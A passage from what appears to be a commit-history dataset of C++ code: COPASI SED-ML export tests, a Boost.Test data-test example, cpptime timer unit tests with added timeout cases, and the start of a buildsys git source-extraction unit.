CRootContainer::removeDatamodel(dm);\n}\n\nTEST_CASE(\"export nested scan\", \"[copasi,sedml]\")\n{\n  auto * dm = CRootContainer::addDatamodel();\n  REQUIRE(dm != nullptr);\n\n  REQUIRE(dm->loadModel(getTestFile(\"test-data\/NestedScan.cps\"), NULL) == true);\n\n  auto sedml = dm->exportSEDMLToString(NULL, 1, 4);\n\n  auto * doc = readSedMLFromString(sedml.c_str());\n\n  REQUIRE(doc->getNumErrors(LIBSEDML_SEV_ERROR) == 0);\n\n  REQUIRE(doc->getDataGenerator(\"Rtot_1_task3\") == NULL);\n  REQUIRE(doc->getDataGenerator(\"Rtot_1_task5\") != NULL);\n\n  delete doc;\n\n  CRootContainer::removeDatamodel(dm);\n}\n\nTEST_CASE(\"Export different plot styles\", \"[copasi,sedml]\")\n{\n  auto * dm = CRootContainer::addDatamodel();\n  REQUIRE(dm != nullptr);\n\n  REQUIRE(dm->loadModel(getTestFile(\"test-data\/brusselator.cps\"), NULL) == true);\n\n  auto * m = dm->getModel();\n  REQUIRE(m != NULL);\n\n  \/\/ export sbml so we have sbml ids\n  std::string sbml = dm->exportSBMLToString(NULL, 3, 1);\n\n  \/\/ export sedml\n  std::string sedml = dm->exportSEDMLToString(NULL, 1, 4);\n\n  auto * doc = readSedMLFromString(sedml.c_str());\n\n  REQUIRE(doc->getNumErrors(LIBSEDML_SEV_ERROR) == 0);\n\n  delete doc;\n\n  CRootContainer::removeDatamodel(dm);\n}\n\nTEST_CASE(\"generating variables with terms\", \"[copasi,sedml]\")\n{\n  auto * dm = CRootContainer::addDatamodel();\n  REQUIRE(dm != nullptr);\n\n  REQUIRE(dm->loadModel(getTestFile(\"test-data\/brusselator.cps\"), NULL) == true);\n\n  auto * m = dm->getModel();\n\n  auto * pMV = m->createModelValue(\"g_mv\", 1);\n\n  \/\/ export to sbml so we have sbml ids for everything\n  std::string sbml = dm->exportSBMLToString(NULL, 3, 1);\n\n  {\n    REQUIRE(VariableInfo(m).getSymbol() == SEDML_TIME_URN);\n    REQUIRE(VariableInfo(m->getValueReference()).getSymbol() == SEDML_TIME_URN);\n  }\n\n  {\n    REQUIRE(VariableInfo(&m->getCompartments()[0]).getXpath() == \"\/sbml:sbml\/sbml:model\/sbml:listOfCompartments\/sbml:compartment[@id='compartment']\");\n    REQUIRE(VariableInfo(m->getCompartments()[0].getRateReference()).getTerm() == SEDML_KISAO_RATE);\n  }\n\n  {\n    REQUIRE(VariableInfo(&m->getMetabolites()[0]).getXpath() == \"\/sbml:sbml\/sbml:model\/sbml:listOfSpecies\/sbml:species[@id='X']\");\n    REQUIRE(VariableInfo(m->getMetabolites()[0].getConcentrationReference()).getTerm() == SEDML_KISAO_CONCENTRATION);\n    REQUIRE(VariableInfo(m->getMetabolites()[0].getValueReference()).getTerm() == SEDML_KISAO_PARTICLENUMBER);\n    REQUIRE(VariableInfo(m->getMetabolites()[0].getConcentrationRateReference()).getTerm() == SEDML_KISAO_CONCENTRATION_RATE);\n    REQUIRE(VariableInfo(m->getMetabolites()[0].getRateReference()).getTerm() == SEDML_KISAO_PARTICLE_RATE);\n  }\n\n  {\n    REQUIRE(VariableInfo(&m->getModelValues()[0]).getXpath() == \"\/sbml:sbml\/sbml:model\/sbml:listOfParameters\/sbml:parameter[@id='g_mv']\");\n    REQUIRE(VariableInfo(m->getModelValues()[0].getRateReference()).getTerm() == SEDML_KISAO_RATE);\n  }\n\n  {\n    REQUIRE(VariableInfo(&m->getReactions()[0]).getXpath() == \"\/sbml:sbml\/sbml:model\/sbml:listOfReactions\/sbml:reaction[@id='R1']\");\n    REQUIRE(VariableInfo(m->getReactions()[0].getFluxReference()).getTerm() == SEDML_KISAO_FLUX);\n    REQUIRE(VariableInfo(m->getReactions()[0].getParameterObjects(\"k1\").at(0)).getXpath() == \"\/sbml:sbml\/sbml:model\/sbml:listOfReactions\/sbml:reaction[@id='R1']\/sbml:kineticLaw\/sbml:listOfParameters\/sbml:parameter[@id='k1']\");\n  }\n\n  CRootContainer::removeDatamodel(dm);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/  (C) Copyright Gennadiy Rozental 2011-2014.\n\/\/  Distributed under the Boost Software License, Version 1.0.\n\/\/  (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n\/\/  See http:\/\/www.boost.org\/libs\/test for the library home page.\n\n\/\/[example_code\n#define BOOST_TEST_MAIN\n#include <boost\/test\/included\/unit_test.hpp>\n#include <boost\/test\/data\/test_case.hpp>\n#include <boost\/test\/data\/monomorphic.hpp>\n#include <vector>\n#include <map>\n\nstd::vector<int> generate_vector()\n{\n  std::vector<int> out;\n  out.push_back(3);\n  out.push_back(1);\n  out.push_back(7);\n  return out;\n}\n\ntypedef const std::pair<const int, int> pair_int;\nBOOST_TEST_DONT_PRINT_LOG_VALUE( pair_int );\n\nconst std::vector<int> v = generate_vector();\nBOOST_DATA_TEST_CASE( test_case_1, data::make(v), var1)\n{\n  std::cout << var1 << std::endl;\n  BOOST_CHECK(true);\n}\n\n\nstd::map<int, int> generate_map()\n{\n  std::vector<int> v = generate_vector();\n  std::map<int, int> out;\n  for(std::size_t i = 0; i < v.size(); i++)\n  {\n    out[v[i]] = (i * 7) % 19;\n  }\n  return out;\n}\n\nconst std::map<int, int> m = generate_map();\nBOOST_DATA_TEST_CASE( test_case_2, data::make(m), var1)\n{\n  std::cout << var1->first << \" -- \" << var1->second << std::endl;\n  BOOST_CHECK(true);\n}\n\/\/]\n<commit_msg>nothing<commit_after>\/\/  (C) Copyright Gennadiy Rozental 2011-2014.\n\/\/  Distributed under the Boost Software License, Version 1.0.\n\/\/  (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n\/\/  See http:\/\/www.boost.org\/libs\/test for the library home page.\n\n\/\/[example_code\n#define BOOST_TEST_MAIN\n#include <boost\/test\/included\/unit_test.hpp>\n#include <boost\/test\/data\/test_case.hpp>\n#include <boost\/test\/data\/monomorphic.hpp>\n#include <vector>\n#include <map>\n\nnamespace data = boost::unit_test::data;\n\nstd::vector<int> generate_vector()\n{\n  std::vector<int> out;\n  out.push_back(3);\n  out.push_back(1);\n  out.push_back(7);\n  return out;\n}\n\ntypedef const std::pair<const int, int> pair_int;\nBOOST_TEST_DONT_PRINT_LOG_VALUE( pair_int );\n\nconst std::vector<int> v = generate_vector();\nBOOST_DATA_TEST_CASE( test_case_1, data::make(v), var1)\n{\n  std::cout << var1 << std::endl;\n  BOOST_CHECK(true);\n}\n\n\nstd::map<int, int> generate_map()\n{\n  std::vector<int> v = generate_vector();\n  std::map<int, int> out;\n  for(std::size_t i = 0; i < v.size(); i++)\n  {\n    out[v[i]] = (i * 7) % 19;\n  }\n  return out;\n}\n\nconst std::map<int, int> m = generate_map();\nBOOST_DATA_TEST_CASE( test_case_2, data::make(m), var1)\n{\n  std::cout << var1->first << \" -- \" << var1->second << std::endl;\n  BOOST_CHECK(true);\n}\n\/\/]\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Michael Egli\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * \\author    Michael Egli\n * \\copyright Michael Egli\n * \\date      11-Jul-2015\n *\n * \\file timer_test.cpp\n *\n * Tests for cpptime component. Compile with\n *\n * ~~~\n * g++ -g -std=c++11 -Wall -Wextra -o tests ..\/cpptime.cpp timer_test.cpp -l pthread\n * ~~~\n *\n *\/\n\n#define CATCH_CONFIG_MAIN\n\n\/\/ Includes\n#include <thread>\n#include <chrono>\n#include \"catch.hpp\"\n#include \"..\/cpptime.h\"\n\nTEST_CASE(\"Test start and stop.\")\n{\n\tCppTime::start();\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Tests with two argument add\")\n{\n\tCppTime::start();\n\n\tSECTION(\"Test uint64_t timeout argument\")\n\t{\n\t\tint i = 0;\n\t\tCppTime::add(100000, [&](CppTime::timer_id) { i = 42; });\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(120));\n\t\tREQUIRE(i == 42);\n\t}\n\n\tSECTION(\"Test duration timeout argument\")\n\t{\n\t\tint i = 0;\n\t\tCppTime::add(std::chrono::milliseconds(100), [&](CppTime::timer_id) { i = 43; });\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(120));\n\t\tREQUIRE(i == 43);\n\t}\n\n\tSECTION(\"Test time_point timeout argument\")\n\t{\n\t\tint i = 0;\n\t\tCppTime::add(CppTime::clock::now() + std::chrono::milliseconds(100),\n\t\t    [&](CppTime::timer_id) { i = 44; });\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(120));\n\t\tREQUIRE(i == 44);\n\t}\n\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Tests with three argument add\")\n{\n\tCppTime::start();\n\n\tSECTION(\"Test uint64_t timeout argument\")\n\t{\n\t\tsize_t count = 0;\n\t\tauto id = CppTime::add(100000, [&](CppTime::timer_id) { ++count; }, 10000);\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(125));\n\t\tCppTime::remove(id);\n\t\tREQUIRE(count == 3);\n\t}\n\n\tSECTION(\"Test duration timeout argument\")\n\t{\n\t\tsize_t count = 0;\n\t\tauto id = CppTime::add(std::chrono::milliseconds(100), [&](CppTime::timer_id) { ++count; },\n\t\t    std::chrono::microseconds(10000));\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(135));\n\t\tCppTime::remove(id);\n\t\tREQUIRE(count == 4);\n\t}\n\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Test delete timer in callback\")\n{\n\tCppTime::start();\n\n\tsize_t count = 0;\n\tauto id = CppTime::add(std::chrono::milliseconds(10), [&](CppTime::timer_id id) {\n\t\t++count;\n\t\tCppTime::remove(id);\n\t}, std::chrono::milliseconds(10));\n\tstd::this_thread::sleep_for(std::chrono::milliseconds(50));\n\tREQUIRE(count == 1);\n\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Test two identical timeouts\")\n{\n\tint i = 0;\n\tint j = 0;\n\tCppTime::start();\n\tCppTime::timestamp t = CppTime::clock::now() + std::chrono::milliseconds(40);\n\tCppTime::add(t, [&](CppTime::timer_id) { i = 42; });\n\tCppTime::add(t, [&](CppTime::timer_id) { j = 43; });\n\tstd::this_thread::sleep_for(std::chrono::milliseconds(50));\n\tREQUIRE(i == 42);\n\tREQUIRE(j == 43);\n\tCppTime::stop();\n}\n<commit_msg>Add a test case with multiple timeouts to check the order of callbacks.<commit_after>\/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Michael Egli\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * \\author    Michael Egli\n * \\copyright Michael Egli\n * \\date      11-Jul-2015\n *\n * \\file timer_test.cpp\n *\n * Tests for cpptime component. Compile with\n *\n * ~~~\n * g++ -g -std=c++11 -Wall -Wextra -o tests ..\/cpptime.cpp timer_test.cpp -l pthread\n * ~~~\n *\n *\/\n\n#define CATCH_CONFIG_MAIN\n\n\/\/ Includes\n#include <thread>\n#include <chrono>\n#include \"catch.hpp\"\n#include \"..\/cpptime.h\"\n\nTEST_CASE(\"Test start and stop.\")\n{\n\tCppTime::start();\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Tests with two argument add\")\n{\n\tCppTime::start();\n\n\tSECTION(\"Test uint64_t timeout argument\")\n\t{\n\t\tint i = 0;\n\t\tCppTime::add(100000, [&](CppTime::timer_id) { i = 42; });\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(120));\n\t\tREQUIRE(i == 42);\n\t}\n\n\tSECTION(\"Test duration timeout argument\")\n\t{\n\t\tint i = 0;\n\t\tCppTime::add(std::chrono::milliseconds(100), [&](CppTime::timer_id) { i = 43; });\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(120));\n\t\tREQUIRE(i == 43);\n\t}\n\n\tSECTION(\"Test time_point timeout argument\")\n\t{\n\t\tint i = 0;\n\t\tCppTime::add(CppTime::clock::now() + std::chrono::milliseconds(100),\n\t\t    [&](CppTime::timer_id) { i = 44; });\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(120));\n\t\tREQUIRE(i == 44);\n\t}\n\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Tests with three argument add\")\n{\n\tCppTime::start();\n\n\tSECTION(\"Test uint64_t timeout argument\")\n\t{\n\t\tsize_t count = 0;\n\t\tauto id = CppTime::add(100000, [&](CppTime::timer_id) { ++count; }, 10000);\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(125));\n\t\tCppTime::remove(id);\n\t\tREQUIRE(count == 3);\n\t}\n\n\tSECTION(\"Test duration timeout argument\")\n\t{\n\t\tsize_t count = 0;\n\t\tauto id = CppTime::add(std::chrono::milliseconds(100), [&](CppTime::timer_id) { ++count; },\n\t\t    std::chrono::microseconds(10000));\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(135));\n\t\tCppTime::remove(id);\n\t\tREQUIRE(count == 4);\n\t}\n\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Test delete timer in callback\")\n{\n\tCppTime::start();\n\n\tsize_t count = 0;\n\tauto id = CppTime::add(std::chrono::milliseconds(10), [&](CppTime::timer_id id) {\n\t\t++count;\n\t\tCppTime::remove(id);\n\t}, std::chrono::milliseconds(10));\n\tstd::this_thread::sleep_for(std::chrono::milliseconds(50));\n\tREQUIRE(count == 1);\n\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Test two identical timeouts\")\n{\n\tint i = 0;\n\tint j = 0;\n\tCppTime::start();\n\tCppTime::timestamp t = CppTime::clock::now() + std::chrono::milliseconds(40);\n\tCppTime::add(t, [&](CppTime::timer_id) { i = 42; });\n\tCppTime::add(t, [&](CppTime::timer_id) { j = 43; });\n\tstd::this_thread::sleep_for(std::chrono::milliseconds(50));\n\tREQUIRE(i == 42);\n\tREQUIRE(j == 43);\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Test order of multiple timeouts\")\n{\n\tint i = 0;\n\tCppTime::start();\n\tCppTime::add(10000, [&](CppTime::timer_id) { i = 42; });\n\tCppTime::add(20000, [&](CppTime::timer_id) { i = 43; });\n\tCppTime::add(30000, [&](CppTime::timer_id) { i = 44; });\n\tCppTime::add(40000, [&](CppTime::timer_id) { i = 45; });\n\tstd::this_thread::sleep_for(std::chrono::milliseconds(50));\n\tREQUIRE(i == 45);\n\tCppTime::stop();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Michael Egli\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * \\author    Michael Egli\n * \\copyright Michael Egli\n * \\date      11-Jul-2015\n *\n * \\file timer_test.cpp\n *\n * Tests for cpptime component. Compile with\n *\n * ~~~\n * g++ -g -std=c++11 -Wall -Wextra -o tests ..\/cpptime.cpp timer_test.cpp -l pthread\n * ~~~\n *\n *\/\n\n#define CATCH_CONFIG_MAIN\n\n\/\/ Includes\n#include <thread>\n#include <chrono>\n#include \"catch.hpp\"\n#include \"..\/cpptime.h\"\n\nTEST_CASE(\"Test start and stop.\")\n{\n\tCppTime::start();\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Tests with two argument add\")\n{\n\tCppTime::start();\n\n\tSECTION(\"Test uint64_t timeout argument\")\n\t{\n\t\tint i = 0;\n\t\tCppTime::add(100000, [&](CppTime::timer_id) { i = 42; });\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(120));\n\t\tREQUIRE(i == 42);\n\t}\n\n\tSECTION(\"Test duration timeout argument\")\n\t{\n\t\tint i = 0;\n\t\tCppTime::add(std::chrono::milliseconds(100), [&](CppTime::timer_id) { i = 43; });\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(120));\n\t\tREQUIRE(i == 43);\n\t}\n\n\tSECTION(\"Test time_point timeout argument\")\n\t{\n\t\tint i = 0;\n\t\tCppTime::add(CppTime::clock::now() + std::chrono::milliseconds(100),\n\t\t    [&](CppTime::timer_id) { i = 44; });\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(120));\n\t\tREQUIRE(i == 44);\n\t}\n\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Tests with three argument add\")\n{\n\tCppTime::start();\n\n\tSECTION(\"Test uint64_t timeout argument\")\n\t{\n\t\tsize_t count = 0;\n\t\tauto id = CppTime::add(100000, [&](CppTime::timer_id) { ++count; }, 10000);\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(125));\n\t\tCppTime::remove(id);\n\t\tREQUIRE(count == 3);\n\t}\n\n\tSECTION(\"Test duration timeout argument\")\n\t{\n\t\tsize_t count = 0;\n\t\tauto id = CppTime::add(std::chrono::milliseconds(100), [&](CppTime::timer_id) { ++count; },\n\t\t    std::chrono::microseconds(10000));\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(135));\n\t\tCppTime::remove(id);\n\t\tREQUIRE(count == 4);\n\t}\n\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Test delete timer in callback\")\n{\n\tCppTime::start();\n\n\tsize_t count = 0;\n\tauto id = CppTime::add(std::chrono::milliseconds(10), [&](CppTime::timer_id id) {\n\t\t++count;\n\t\tCppTime::remove(id);\n\t}, std::chrono::milliseconds(10));\n\tstd::this_thread::sleep_for(std::chrono::milliseconds(50));\n\tREQUIRE(count == 1);\n\n\tCppTime::stop();\n}\n<commit_msg>Add a test for two timers that fire at the exact same time.<commit_after>\/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Michael Egli\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * \\author    Michael Egli\n * \\copyright Michael Egli\n * \\date      11-Jul-2015\n *\n * \\file timer_test.cpp\n *\n * Tests for cpptime component. Compile with\n *\n * ~~~\n * g++ -g -std=c++11 -Wall -Wextra -o tests ..\/cpptime.cpp timer_test.cpp -l pthread\n * ~~~\n *\n *\/\n\n#define CATCH_CONFIG_MAIN\n\n\/\/ Includes\n#include <thread>\n#include <chrono>\n#include \"catch.hpp\"\n#include \"..\/cpptime.h\"\n\nTEST_CASE(\"Test start and stop.\")\n{\n\tCppTime::start();\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Tests with two argument add\")\n{\n\tCppTime::start();\n\n\tSECTION(\"Test uint64_t timeout argument\")\n\t{\n\t\tint i = 0;\n\t\tCppTime::add(100000, [&](CppTime::timer_id) { i = 42; });\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(120));\n\t\tREQUIRE(i == 42);\n\t}\n\n\tSECTION(\"Test duration timeout argument\")\n\t{\n\t\tint i = 0;\n\t\tCppTime::add(std::chrono::milliseconds(100), [&](CppTime::timer_id) { i = 43; });\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(120));\n\t\tREQUIRE(i == 43);\n\t}\n\n\tSECTION(\"Test time_point timeout argument\")\n\t{\n\t\tint i = 0;\n\t\tCppTime::add(CppTime::clock::now() + std::chrono::milliseconds(100),\n\t\t    [&](CppTime::timer_id) { i = 44; });\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(120));\n\t\tREQUIRE(i == 44);\n\t}\n\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Tests with three argument add\")\n{\n\tCppTime::start();\n\n\tSECTION(\"Test uint64_t timeout argument\")\n\t{\n\t\tsize_t count = 0;\n\t\tauto id = CppTime::add(100000, [&](CppTime::timer_id) { ++count; }, 10000);\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(125));\n\t\tCppTime::remove(id);\n\t\tREQUIRE(count == 3);\n\t}\n\n\tSECTION(\"Test duration timeout argument\")\n\t{\n\t\tsize_t count = 0;\n\t\tauto id = CppTime::add(std::chrono::milliseconds(100), [&](CppTime::timer_id) { ++count; },\n\t\t    std::chrono::microseconds(10000));\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(135));\n\t\tCppTime::remove(id);\n\t\tREQUIRE(count == 4);\n\t}\n\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Test delete timer in callback\")\n{\n\tCppTime::start();\n\n\tsize_t count = 0;\n\tauto id = CppTime::add(std::chrono::milliseconds(10), [&](CppTime::timer_id id) {\n\t\t++count;\n\t\tCppTime::remove(id);\n\t}, std::chrono::milliseconds(10));\n\tstd::this_thread::sleep_for(std::chrono::milliseconds(50));\n\tREQUIRE(count == 1);\n\n\tCppTime::stop();\n}\n\nTEST_CASE(\"Test two identical timeouts\")\n{\n\tint i = 0;\n\tint j = 0;\n\tCppTime::start();\n\tCppTime::timestamp t = CppTime::clock::now() + std::chrono::milliseconds(40);\n\tCppTime::add(t, [&](CppTime::timer_id) { i = 42; });\n\tCppTime::add(t, [&](CppTime::timer_id) { j = 43; });\n\tstd::this_thread::sleep_for(std::chrono::milliseconds(50));\n\tREQUIRE(i == 42);\n\tREQUIRE(j == 43);\n\tCppTime::stop();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n Copyright 2019 Allied Telesis Labs Ltd. All rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice,\n       this list of conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright\n       notice, this list of conditions and the following disclaimer in the\n       documentation and\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*******************************************************************************\/\n\n#include \"include\/buildsys.h\"\n\nstatic bool directory_exists(const std::string &dir)\n{\n\tif(!filesystem::exists(dir)) {\n\t\t\/* Nothing here *\/\n\t\treturn false;\n\t}\n\tif(buildsys::filesystem::is_directory(dir)) {\n\t\t\/* Actually a directory *\/\n\t\treturn true;\n\t}\n\t\/* Something other than a directory *\/\n\treturn false;\n}\n\nstatic bool refspec_is_commitid(const std::string &refspec)\n{\n\tif(refspec.length() != 40) {\n\t\treturn false;\n\t}\n\n\tfor(char const &c : refspec) {\n\t\tif(isxdigit(c) == 0) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\treturn true;\n}\n\nstatic std::string git_hash_ref(const std::string &gdir, const std::string &refspec)\n{\n\tstd::string cmd = \"cd \" + gdir + \" && git rev-parse \" + refspec;\n\tFILE *f = popen(cmd.c_str(), \"r\");\n\tif(f == nullptr) {\n\t\tthrow CustomException(\"git rev-parse ref failed\");\n\t}\n\tchar commit[41] = {};\n\tfread(commit, sizeof(char), 40, f);\n\tpclose(f);\n\n\treturn std::string(commit);\n}\n\nstatic std::string git_hash(const std::string &gdir)\n{\n\treturn git_hash_ref(gdir, \"HEAD\");\n}\n\nstatic std::string git_diff_hash(const std::string &gdir)\n{\n\tstd::string cmd = \"cd \" + gdir + \" && git diff HEAD | sha1sum\";\n\tFILE *f = popen(cmd.c_str(), \"r\");\n\tif(f == nullptr) {\n\t\tthrow CustomException(\"git diff | sha1sum failed\");\n\t}\n\tchar delta_hash[41] = {};\n\tfread(delta_hash, sizeof(char), 40, f);\n\tpclose(f);\n\n\treturn std::string(delta_hash);\n}\n\nstatic std::string git_remote(const std::string &gdir, const std::string &remote)\n{\n\tstd::string cmd =\n\t    \"cd \" + gdir + \" && git config --local --get remote.\" + remote + \".url\";\n\tFILE *f = popen(cmd.c_str(), \"r\");\n\tif(f == nullptr) {\n\t\tthrow CustomException(\"git config --local --get remote. .url failed\");\n\t}\n\tchar output[1025] = {};\n\tfread(output, sizeof(char), 1024, f);\n\tpclose(f);\n\n\treturn std::string(output);\n}\n\nGitDirExtractionUnit::GitDirExtractionUnit(const std::string &git_dir,\n                                           const std::string &to_dir)\n{\n\tthis->uri = git_dir;\n\tthis->hash = git_hash(this->uri);\n\tthis->toDir = to_dir;\n}\n\nbool GitDirExtractionUnit::isDirty()\n{\n\tif(!directory_exists(this->localPath())) {\n\t\t\/* If the source directory doesn't exist, then it can't be dirty *\/\n\t\treturn false;\n\t}\n\n\tauto cmd = boost::format{\"cd %1% && git diff --quiet HEAD\"} % this->localPath();\n\treturn (std::system(cmd.str().c_str()) != 0);\n}\n\nstd::string GitDirExtractionUnit::dirtyHash()\n{\n\treturn git_diff_hash(this->localPath());\n}\n\nGitExtractionUnit::GitExtractionUnit(const std::string &remote, const std::string &_local,\n                                     std::string _refspec, Package *_P)\n{\n\tthis->uri = remote;\n\tthis->local = _P->getWorld()->getWorkingDir() + \"\/source\/\" + _local;\n\tthis->refspec = std::move(_refspec);\n\tthis->P = _P;\n\tthis->fetched = false;\n}\n\nbool GitExtractionUnit::updateOrigin()\n{\n\tstd::string location = this->uri;\n\tstd::string source_dir = this->local;\n\tstd::string remote_url = git_remote(source_dir, \"origin\");\n\n\tif(remote_url != location) {\n\t\tPackageCmd pc(source_dir, 